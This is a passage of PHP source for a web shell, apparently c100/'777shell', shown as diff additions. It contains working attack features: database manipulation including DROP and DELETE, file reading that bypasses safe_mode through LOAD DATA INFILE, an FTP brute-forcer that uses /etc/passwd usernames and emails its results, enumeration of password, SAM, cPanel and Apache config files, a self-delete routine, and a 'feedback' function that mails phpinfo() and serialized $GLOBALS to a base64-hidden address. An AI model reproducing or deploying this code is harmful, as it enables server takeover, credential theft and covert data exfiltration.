cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>?</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function N3tftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c100 v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (N3tftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"777shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."N3tsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); N3tshexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using 777shell v.".$shver."!"; N3tshexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = N3tsh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c100 v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c100 v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden 